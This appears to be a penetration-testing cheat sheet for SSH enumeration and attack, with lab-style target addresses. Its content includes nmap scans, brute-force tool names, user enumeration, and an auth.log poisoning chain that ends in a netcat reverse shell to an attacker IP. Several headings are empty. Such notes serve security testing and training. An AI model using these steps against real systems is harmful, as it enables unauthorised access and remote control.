SSH 22
SSH Enumeration and assorted commands
#Checklist
Check for SSH version vulns
Check for User enum
Check if host key was seen somewhere else
Check if it prompts for a password - means password login is allowed for some users
nmap -sV --script=ssh-hostkey -p22 10.10.10.10
Bruteforce if necessary with CeWL, Hydra, Patator, Crowbar,#Sysadmin shit
check ssh status >>>> sudo service ssh status
Start ssh server >>>> sudo service ssh start
Stop ssh server >>>> sudo service ssh stop
Restart ssh server >>>> sudo service ssh restart
netstat -tulpn | grep sshd >>>> (check is ssh is running and in which ports)
#If you find private keys:
sudo chmod 600 keys (not 777)
ssh -i key target@10.10.10.10 22#Generate private keys
ssh-keygen -t rsa#Banner Grabbing
#NMAP SSH scripts
#ssh-keyscan
#Hydra bruteforcing
Good password list:
#NCRACK
Push comes to shove use ncrack to bruteforce:
#Metasploit scanner
Metasploit Enumerating users (useful to enumerate target for future cracking)
#SSH Log poisoning
Presupposes both an open ssh port and an RCE vuln
1)kali
ssh ''@10.10.10.10 (target IP)
2)Target URL
http://10.10.10.10/search.php?id=/var/log/auth.log&cmd=ls -la
#Revshell
http://10.10.10.10/search.php?id=/var/log/auth.log&cmd=nc -e /bin/bash 192.168.101.95 1234
#Escaping Rbash
#RCE via SSH Try to ssh into the box with PHP code as username
#Then include the SSH log files inside the web application
#Vulnerable Versions: 7.2p1 | append command and get execution
#Force Auth method
#Linux with OpenSSH < 7.7
Last updated